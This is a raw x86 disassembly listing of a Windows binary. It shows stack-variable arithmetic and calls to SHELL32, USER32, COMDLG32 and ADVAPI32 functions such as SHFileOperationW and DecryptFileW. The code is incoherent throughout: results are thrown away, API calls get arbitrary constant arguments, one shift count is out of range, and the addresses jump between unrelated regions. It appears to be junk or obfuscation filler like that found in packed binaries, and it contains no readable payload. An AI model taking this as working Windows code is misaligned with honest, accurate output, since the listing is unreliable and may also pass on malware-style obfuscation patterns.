movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2215]
add edx, eax
mov ecx, dword [ebp - 0xcf70]
mov byte [ecx], dl
jmp 0x40b58e
mov edx, dword [ebp - 0xb6f8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x8f30]
shl eax, cl
mov ecx, dword [ebp - 0x17670]
mov edx, dword [ebp - 0x169c]
mov ecx, dword [ecx]
or ecx, dword [edx]
cmp eax, ecx
jae 0x40b58e
movzx edx, word [0x575ff0]
movzx eax, word [ebp - 0x13a50]
add edx, eax
mov word [0x5778ec], dx
jmp 0x40b5a3
mov ecx, dword [ebp - 0x218]
push ecx
call dword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [ebp - 0x5468], eax
mov edx, dword [ebp - 0x10bfc]
mov dword [ebp - 0x13694], edx
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [ebp - 0xd31c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x8b24]
mov dword [eax], edx
mov ecx, dword [ebp - 0x17670]
mov edx, dword [ebp - 0x13970]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x11e88]
sub ecx, dword [ebp - 0x750]
cmp eax, ecx
jbe 0x40b62d
mov edx, dword [ebp - 0x8520]
mov al, byte [edx]
mov byte [ebp - 0x188fc], al
cmp byte [ebp - 0x188fc], 0x48
je 0x40b600
jmp 0x40b618
mov ecx, dword [ebp - 0xeb18]
mov edx, dword [ebp - 0x2128]
and edx, dword [ecx]
mov eax, dword [ebp - 0xd31c]
mov dword [eax], edx
jmp 0x40b62b
lea ecx, [ebp - 0x15c38]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [ebp - 0x55c], eax
jmp 0x40b69a
movsx edx, word [ebp - 0x160d8]
mov dword [ebp - 0x18900], edx
cmp dword [ebp - 0x18900], 0
je 0x40b645
jmp 0x40b682
mov eax, dword [ebp - 0x2f30]
mov ecx, dword [ebp - 0x7698]
xor ecx, dword [eax]
mov dword [ebp - 0x2970], ecx
mov edx, dword [ebp - 0x4d40]
mov eax, dword [edx]
mov dword [ebp - 0x854c], eax
mov ecx, dword [ebp - 0xb13c]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x48a8]
shl edx, cl
mov word [ebp - 0x160d8], dx
jmp 0x40b69a
movsx eax, byte [ebp - 0x6725]
mov ecx, dword [ebp - 0x186f4]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x1d05], al
lea edx, [ebp - 0x3314]
mov dword [ebp - 0x14dac], edx
mov eax, dword [ebp - 0x6478]
movzx ecx, word [eax]
mov dword [ebp - 0x18904], ecx
cmp dword [ebp - 0x18904], 0x53
je 0x40b6cc
cmp dword [ebp - 0x18904], 0xd4b
je 0x40b70e
mov edx, dword [ebp - 0x4d40]
mov eax, dword [ebp - 0x854c]
or eax, dword [edx]
mov ecx, dword [0x578d00]
mov dword [ecx], eax
lea edx, [ebp - 0xd9b4]
push edx
push 0x47
lea eax, [ebp - 0x15c38]
push eax
lea ecx, [ebp - 0x1d05]
push ecx
mov edx, dword [ebp - 0x9f98]
push edx
call dword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [ebp - 0x17830], eax
jmp 0x40b722
movzx edx, word [ebp - 0x13a50]
movzx ecx, word [ebp - 0xe85c]
shl edx, cl
mov eax, dword [0x5779c0]
mov word [eax], dx
lea ecx, [ebp - 0x3818]
push ecx
lea edx, [ebp - 0xada8]
push edx
lea eax, [ebp - 0x14d8c]
push eax
push 0xd4
lea ecx, [ebp - 0x1e60]
push ecx
call dword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [ebp - 0x10d74], eax
movzx edx, word [ebp - 0xe85c]
mov dword [ebp - 0x18b00], edx
cmp dword [ebp - 0x18b00], 0x7bf
je 0x538fcf
jmp 0x53902c
movzx eax, word [ebp - 0xbfbc]
mov ecx, dword [ebp - 0x173e0]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x3314], ax
mov eax, dword [ebp - 0xdbc4]
sub eax, dword [ebp - 0x7698]
mov ecx, dword [ebp - 0x8b24]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd31c]
mov eax, dword [ebp - 0x5958]
sub eax, dword [edx]
mov dword [ebp - 0x2128], eax
push 0x4c
mov ecx, dword [ebp - 0x1880]
push ecx
mov edx, dword [ebp - 0xa064]
push edx
call dword [sym.imp.SHELL32.dll_ExtractIconW]
mov dword [ebp - 0x14bc8], eax
movzx eax, byte [ebp - 0x2215]
movzx ecx, byte [ebp - 0x17b31]
sub eax, ecx
mov edx, dword [ebp - 0x66ac]
mov byte [edx], al
mov eax, dword [ebp - 0x3358]
mov ecx, dword [eax]
mov dword [ebp - 0x18b04], ecx
cmp dword [ebp - 0x18b04], 0x27ffd3b7
je 0x539060
jmp 0x539090
mov edx, dword [ebp - 0xe00]
mov eax, dword [ebp - 0x11e88]
and eax, dword [edx]
mov ecx, dword [ebp - 0x1ac]
mov dword [ecx], eax
mov edx, dword [ebp - 0x173e0]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [ecx]
push edx
call fcn.0053a2a0
jmp 0x5390a3
lea eax, [ebp - 0x14d8c]
push eax
call dword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [ebp - 0x5684], eax
movzx ecx, byte [ebp - 0x9511]
mov edx, dword [ebp - 0x13d18]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x171f1], cl
lea ecx, [ebp - 0x1efc]
push ecx
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov dword [ebp - 0x16c70], eax
mov edx, dword [ebp - 0xb13c]
movsx eax, word [edx]
mov ecx, dword [ebp - 0xd5e0]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1e60]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x160d8]
add edx, ecx
cmp eax, edx
jle 0x5390fa
jmp 0x539116
push 0
lea edx, [ebp - 0x11980]
push edx
lea eax, [ebp - 0x5468]
push eax
call dword [sym.imp.SHELL32.dll_ILAppendID]
mov dword [ebp - 0x130fc], eax
mov ecx, dword [ebp - 0xeb18]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2128]
sar edx, cl
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
push 0
lea ecx, [ebp - 0x16fcc]
push ecx
lea edx, [ebp - 0x1208c]
push edx
call dword [sym.imp.SHELL32.dll_ILAppendID]
mov dword [ebp - 0x130fc], eax
mov eax, dword [ebp - 0x137d8]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x10d7c]
mov dword [ebp - 0x7698], ecx
mov edx, dword [ebp - 0x13970]
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x169c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xeb18]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x7698]
mov dword [ebp - 0x10d7c], ecx
lea edx, [ebp - 0x173e0]
push edx
lea eax, [ebp - 0x117c8]
push eax
lea ecx, [ebp - 0x2f8]
push ecx
mov edx, dword [ebp - 0x3efc]
push edx
call dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [ebp - 0x125bc], eax
movzx eax, word [ebp - 0x13a50]
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xe85c], ax
movzx eax, byte [ebp - 0x171f1]
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xcf70]
mov byte [ecx], al
push 0xa9
mov edx, dword [ebp - 0x16c4c]
push edx
mov eax, dword [ebp - 0x16c4c]
push eax
call dword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [ebp - 0x160d8], ax
mov ecx, dword [0x57856c]
mov edx, dword [ebp - 0x4d40]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x8b24]
mov dword [ecx], eax
jmp 0x539281
push 0x19
mov edx, dword [ebp - 0x3efc]
push edx
lea eax, [ebp - 0x2ca4]
push eax
mov ecx, dword [ebp - 0x106f4]
push ecx
call dword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [ebp - 0x1208c], eax
mov edx, dword [0x57856c]
mov eax, dword [ebp - 0x7698]
add eax, dword [edx]
mov ecx, dword [ebp - 0x4d40]
mov dword [ecx], eax
push 0xf2
push 0xe5
lea edx, [ebp - 0xee20]
push edx
push 0xd0
mov eax, dword [ebp - 0x36a8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [ebp - 0x8b44], eax
lea ecx, [ebp - 0x16c70]
push ecx
lea edx, [ebp - 0x55c]
push edx
push 0x25
push 0xb9
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
movzx eax, word [0x575ff0]
mov dword [ebp - 0x18b08], eax
cmp dword [ebp - 0x18b08], 0xa2e
je 0x5392ba
jmp 0x53937a
mov edx, dword [ebp - 0x2970]
sub edx, dword [ebp - 0x15d00]
mov eax, dword [ebp - 0x3f0c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10d7c]
shl eax, cl
cmp edx, eax
jg 0x539362
mov ecx, dword [0x57856c]
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0xd31c]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x17b31]
movzx eax, byte [ebp - 0x2215]
and edx, eax
mov byte [ebp - 0x9511], dl
mov ecx, dword [ebp - 0xd31c]
mov edx, dword [ebp - 0x1186c]
sub edx, dword [ecx]
mov eax, dword [0x57856c]
mov dword [eax], edx
lea ecx, [ebp - 0x136b8]
push ecx
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [ebp - 0x10d7c], eax
mov edx, dword [ebp - 0xe00]
mov eax, dword [ebp - 0xd9f4]
add eax, dword [edx]
mov ecx, dword [ebp - 0x10434]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ebp - 0x137d8]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x2970], ecx
jmp 0x539378
mov edx, dword [0x57856c]
mov eax, dword [edx]
add eax, dword [ebp - 0x1186c]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
jmp 0x53938e
mov edx, dword [ebp - 0xd31c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x15d00]
mov dword [ebp - 0x5958], eax
jmp 0x5393ff
mov ecx, dword [ebp - 0x39cc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3314]
add edx, eax
mov ecx, dword [ebp - 0x6478]
mov word [ecx], dx
movsx edx, word [ebp - 0x160d8]
mov dword [ebp - 0x18b0c], edx
cmp dword [ebp - 0x18b0c], 0x347
je 0x5393c6
jmp 0x5393e3
lea eax, [ebp - 0xd9f4]
push eax
lea ecx, [ebp - 0x14bc8]
push ecx
push 0xba
push 0x44
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
jmp 0x5393ff
mov edx, dword [ebp - 0xcf70]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x8520]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x13d18]
mov byte [ecx], al
mov edx, dword [ebp - 0xff50]
push edx
call dword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov dword [ebp - 0xa1c8], eax
mov eax, dword [ebp - 0x2344]
mov ecx, dword [0x578ab8]
add ecx, dword [eax]
mov edx, dword [ebp - 0x237c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0xdbc4]
add ecx, dword [eax]
mov dword [ebp - 0x10d7c], ecx
mov edx, dword [ebp - 0x10434]
mov eax, dword [edx]
xor eax, dword [ebp - 0x8f30]
mov dword [ebp - 0x10bfc], eax
lea ecx, [ebp - 0x88e0]
push ecx
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov dword [ebp - 0x9520], eax
mov edx, dword [ebp - 0x4d40]
mov eax, dword [ebp - 0x558]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
mov ecx, dword [ebp - 0x66ac]
mov dl, byte [ecx]
mov byte [ebp - 0x18b10], dl
cmp byte [ebp - 0x18b10], 0xd0
je 0x539496
jmp 0x5394b2
push 0x19
push 0x4b
push 0x9d
mov eax, dword [ebp - 0xbbec]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
mov dword [ebp - 0x125bc], eax
lea ecx, [ebp - 0xc4d0]
push ecx
push 0xb3
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [ebp - 0x14848], eax
mov edx, dword [ebp - 0x1186c]
or edx, dword [ebp - 0x5958]
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x2344]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x4d40]
mov dword [eax], edx
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [ebp - 0xeaa0], eax
jmp 0x5395ce
mov cl, byte [ebp - 0x6725]
mov byte [ebp - 0x18b14], cl
cmp byte [ebp - 0x18b14], 0x50
je 0x53951e
jmp 0x539530
mov edx, dword [ebp - 0xeaa0]
xor edx, dword [ebp - 0xd9f4]
mov dword [ebp - 0x11e88], edx
movsx eax, byte [ebp - 0x6725]
cmp eax, 0x78
jl 0x539552
mov ecx, dword [ebp - 0xd31c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x5958]
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
movzx ecx, word [ebp - 0x3314]
movzx edx, word [ebp - 0xbfbc]
add ecx, edx
mov eax, dword [ebp - 0x6478]
mov word [eax], cx
push 0x7a
mov ecx, dword [ebp - 0x1880]
push ecx
mov edx, dword [ebp - 0x36a8]
push edx
call dword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [ebp - 0x48a8], ax
mov eax, dword [ebp - 0x10434]
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x8f30], edx
mov eax, dword [ebp - 0x2970]
add eax, dword [ebp - 0x1186c]
mov ecx, dword [ebp - 0xd31c]
mov dword [ecx], eax
push 1
lea edx, [ebp - 0x6725]
push edx
lea eax, [ebp - 0x15c38]
push eax
call dword [sym.imp.SHELL32.dll_ILAppendID]
mov dword [ebp - 0x11b8], eax
mov ecx, dword [ebp - 0x66ac]
mov dl, byte [ecx]
mov byte [ebp - 0x18b18], dl
cmp byte [ebp - 0x18b18], 0x39
je 0x53964d
cmp byte [ebp - 0x18b18], 0x3a
je 0x5395f3
jmp 0x539679
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x2970]
mov edx, dword [ebp - 0x4d40]
mov dword [edx], ecx
lea eax, [ebp - 0x30d4]
push eax
call dword [sym.imp.SHELL32.dll_ILClone]
mov dword [ebp - 0x15388], eax
mov ecx, dword [ebp - 0xd5e0]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x11980]
sub edx, eax
mov ecx, dword [ebp - 0xd5e0]
mov word [ecx], dx
mov edx, dword [ebp - 0x10434]
mov eax, dword [ebp - 0x10bfc]
and eax, dword [edx]
mov dword [ebp - 0xd9f4], eax
jmp 0x539679
mov ecx, dword [ebp - 0x1186c]
sub ecx, dword [ebp - 0x7698]
mov edx, dword [ebp - 0xd31c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xcf70]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x9511]
sub ecx, edx
mov byte [ebp - 0x2215], cl
push 0
mov eax, dword [ebp - 0xddcc]
push eax
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
mov ecx, dword [ebp - 0x558]
mov edx, dword [ebp - 0x7698]
and edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [0x55d224]
add edx, dword [ecx]
mov dword [ebp - 0x5958], edx
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x171f1]
sub ecx, edx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], cl
push 0x39
mov ecx, dword [ebp - 0x1880]
push ecx
call dword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [ebp - 0x106f0], eax
mov edx, dword [ebp - 0x66ac]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x17b31]
add eax, ecx
mov edx, dword [ebp - 0x66ac]
mov byte [edx], al
mov eax, dword [ebp - 0x6478]
mov cx, word [eax]
mov word [ebp - 0xe85c], cx
mov edx, dword [ebp - 0xd9f4]
push edx
push 0xffffffffffffff8a
call fcn.0053a140
jmp 0x539751
mov eax, dword [ebp - 0x10bfc]
sub eax, dword [ebp - 0xeaa0]
mov dword [ebp - 0x9d8], eax
call dword [sym.imp.USER32.dll_GetKBCodePage]
mov dword [ebp - 0x8f30], eax
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x7698]
sar edx, cl
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [0x55d224]
sub ecx, dword [ebp - 0x5958]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
jmp 0x5397b7
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x9511]
add ecx, edx
mov byte [ebp - 0x171f1], cl
movzx eax, word [ebp - 0xbfbc]
movzx ecx, word [ebp - 0xe85c]
sub eax, ecx
mov edx, dword [ebp - 0x6478]
mov word [edx], ax
push 0x8a
lea eax, [ebp - 0x13bb8]
push eax
mov ecx, dword [ebp - 0x159ec]
push ecx
call dword [sym.imp.USER32.dll_GetClassNameW]
mov dword [ebp - 0x1186c], eax
mov edx, dword [ebp - 0xeaa0]
mov dword [ebp - 0x18b1c], edx
cmp dword [ebp - 0x18b1c], 0x9246906c
je 0x5397dd
cmp dword [ebp - 0x18b1c], 0xb6e43102
je 0x539832
jmp 0x539848
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x7698]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [ebp - 0xeaa0]
add ecx, dword [eax]
mov dword [ebp - 0x9d8], ecx
push 0x97
call dword [sym.imp.USER32.dll_IsCharAlphaW]
mov dword [ebp - 0x5684], eax
mov edx, dword [ebp - 0x237c]
mov eax, dword [ebp - 0x2344]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x237c]
mov dword [edx], ecx
jmp 0x539848
push 0x6b
mov eax, dword [ebp - 0x159ec]
push eax
call dword [sym.imp.USER32.dll_GetClassWord]
mov word [ebp - 0xe85c], ax
jmp 0x53985e
movsx ecx, word [ebp - 0x48a8]
add ecx, 0x679a
mov word [ebp - 0x11980], cx
mov edx, dword [ebp - 0x4d40]
mov eax, dword [edx]
xor eax, dword [ebp - 0x15d00]
mov dword [ebp - 0x2970], eax
mov ecx, dword [ebp - 0x2970]
sub ecx, dword [ebp - 0x5958]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
lea eax, [ebp - 0xd498]
push eax
mov ecx, dword [ebp - 0x14a5c]
push ecx
call dword [sym.imp.USER32.dll_GetIconInfo]
mov dword [ebp - 0x46e0], eax
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x3f0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x5958]
mov dword [ebp - 0x2970], ecx
mov edx, dword [ebp - 0x9f98]
push edx
call dword [sym.imp.USER32.dll_DrawMenuBar]
mov dword [ebp - 0x125bc], eax
mov eax, dword [ebp - 0x2970]
add eax, dword [ebp - 0x1186c]
mov ecx, dword [ebp - 0x3f0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x66ac]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x66ac]
mov dl, byte [ecx]
mov ecx, dword [ebp - 0x1186c]
call fcn.0053abe0
jmp 0x5399c8
movzx edx, byte [ebp - 0x9511]
or edx, 0xc5
mov byte [ebp - 0x17b31], dl
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [ebp - 0x85cc], eax
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
mov dword [ebp - 0x18b20], ecx
cmp dword [ebp - 0x18b20], 0x573
je 0x539951
jmp 0x539963
mov edx, dword [ebp - 0xeaa0]
sub edx, dword [ebp - 0x10bfc]
mov dword [ebp - 0x8f30], edx
mov eax, dword [ebp - 0x348c]
mov edx, dword [ebp - 0x8f30]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [0x55d224]
and edx, dword [ecx]
mov dword [ebp - 0x2970], edx
lea eax, [ebp - 0x11980]
push eax
lea ecx, [ebp - 0x558]
push ecx
lea edx, [ebp - 0x30d4]
push edx
call dword [sym.imp.USER32.dll_IntersectRect]
mov dword [ebp - 0x5684], eax
mov eax, dword [ebp - 0x2344]
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4d40]
mov dword [eax], edx
lea ecx, [ebp - 0x171b8]
push ecx
mov edx, dword [ebp - 0x14e24]
push edx
call dword [sym.imp.USER32.dll_SetWindowPlacement]
mov dword [ebp - 0x106f0], eax
mov eax, dword [ebp - 0x2344]
mov ecx, dword [ebp - 0x15d00]
sub ecx, dword [eax]
mov dword [ebp - 0x2970], ecx
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x237c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
lea ecx, [ebp - 0x39cc]
push ecx
mov edx, dword [ebp - 0xdeac]
push edx
call dword [sym.imp.USER32.dll_ValidateRect]
mov dword [ebp - 0x106f0], eax
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xbfbc]
xor ecx, edx
mov eax, dword [ebp - 0x39cc]
mov word [eax], cx
jmp 0x539a75
push 0xd4
mov ecx, dword [ebp - 0x9f98]
push ecx
call dword [sym.imp.USER32.dll_GetDlgItem]
mov dword [ebp - 0x85cc], eax
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
add eax, dword [ebp - 0xd9f4]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x237c]
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [ebp - 0x348c]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x8f30], edx
jmp 0x539ab8
movsx eax, word [ebp - 0x11980]
add eax, 0x759a
mov word [ebp - 0x11980], ax
movzx ecx, word [ebp - 0xbfbc]
mov dword [ebp - 0x18b24], ecx
cmp dword [ebp - 0x18b24], 0x756
je 0x539b79
cmp dword [ebp - 0x18b24], 0xea7
je 0x539ae6
jmp 0x539b8f
movzx edx, word [ebp - 0xbfbc]
sar edx, 1
mov word [ebp - 0xbfbc], dx
lea eax, [ebp - 0x7024]
push eax
lea ecx, [ebp - 0xd4a0]
push ecx
call dword [sym.imp.USER32.dll_CopyRect]
mov dword [ebp - 0xeecc], eax
movzx edx, word [ebp - 0xbfbc]
mov dword [ebp - 0x18b28], edx
cmp dword [ebp - 0x18b28], 0x5aa
je 0x539b2b
jmp 0x539b6b
mov eax, dword [ebp - 0xd9f4]
and eax, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2344]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4d40]
add eax, dword [ecx]
mov dword [ebp - 0x7698], eax
mov edx, dword [ebp - 0x1186c]
sub edx, dword [ebp - 0x7698]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
jmp 0x539b77
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x9f98], eax
jmp 0x539b8f
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ebp - 0xd9f4]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
sub edx, dword [0x55d224]
mov eax, dword [ebp - 0x3f0c]
mov dword [eax], edx
jmp 0x539ca0
mov edx, dword [ebp - 0x10bfc]
mov ecx, dword [ebp - 0xeaa0]
shl edx, cl
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [ebp - 0x8f30]
or ecx, dword [eax]
cmp edx, ecx
jb 0x539c51
mov edx, dword [ebp - 0xeaa0]
mov dword [ebp - 0x18b2c], edx
cmp dword [ebp - 0x18b2c], 0x1f85a365
je 0x539be8
jmp 0x539c3e
mov eax, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x1186c]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x7698], edx
lea eax, [ebp - 0x9510]
push eax
lea ecx, [ebp - 0x36a8]
push ecx
lea edx, [ebp - 0x30d4]
push edx
mov eax, dword [ebp - 0x9f98]
push eax
call dword [sym.imp.USER32.dll_GetLayeredWindowAttributes]
mov dword [ebp - 0x5684], eax
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x9d8]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
jmp 0x539c51
mov ecx, dword [ebp - 0x14e24]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov dword [ebp - 0x7698], eax
movzx edx, byte [ebp - 0x9511]
sub edx, 0x44
mov byte [ebp - 0x17b31], dl
mov eax, dword [ebp - 0x15d00]
add eax, dword [ebp - 0x7698]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x7024]
push edx
push 0xb6
push 0x46
call dword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov dword [ebp - 0xd9f4], eax
mov eax, dword [ebp - 0x15d00]
push eax
push 0x22
call fcn.00539fa0
add esp, 8
lea ecx, [ebp - 0xd498]
push ecx
push str.Dragging_grips
call dword [sym.imp.USER32.dll_OemToCharW]
mov dword [ebp - 0xeecc], eax
mov dl, byte [ebp - 0x9511]
mov byte [ebp - 0x18b30], dl
cmp byte [ebp - 0x18b30], 0xac
je 0x539ccf
jmp 0x539ce5
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x8f30]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [ebp - 0x7698]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [ebp - 0xeaa0]
add ecx, dword [eax]
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
add eax, dword [ebp - 0x9d8]
cmp ecx, eax
jb 0x539d7a
movzx ecx, byte [ebp - 0x17b31]
sub ecx, 0x1b
mov byte [ebp - 0x9511], cl
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x10bfc]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x30d4]
push edx
call dword [sym.imp.USER32.dll_GetMenuItemCount]
mov dword [ebp - 0x5958], eax
mov eax, dword [ebp - 0x1186c]
sub eax, dword [0x55d224]
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
mov edx, dword [ebp - 0x7698]
sub edx, dword [ebp - 0x5958]
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x1186c]
add ecx, dword [eax]
mov dword [0x55d224], ecx
mov edx, dword [ebp - 0x348c]
mov eax, dword [ebp - 0x9d8]
add eax, dword [edx]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x17b31]
sar edx, 0xa8
movzx eax, byte [ebp - 0x9511]
cmp edx, eax
jl 0x539e58
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ecx]
mov dword [ebp - 0x18b34], edx
cmp dword [ebp - 0x18b34], 0x488e42ff
je 0x539de5
cmp dword [ebp - 0x18b34], 0x5f2b938e
je 0x539e40
jmp 0x539e56
push 1
call dword [sym.imp.USER32.dll_IsGUIThread]
mov dword [ebp - 0xeecc], eax
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
movzx ecx, word [ebp - 0xbfbc]
and ecx, 0x26c
mov word [ebp - 0xbfbc], cx
lea edx, [ebp - 0x9d8]
push edx
push 0xc0
mov eax, dword [ebp - 0x9f98]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
mov dword [ebp - 0xeecc], eax
jmp 0x539e56
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1186c]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
jmp 0x539e6c
mov ecx, dword [ebp - 0x237c]
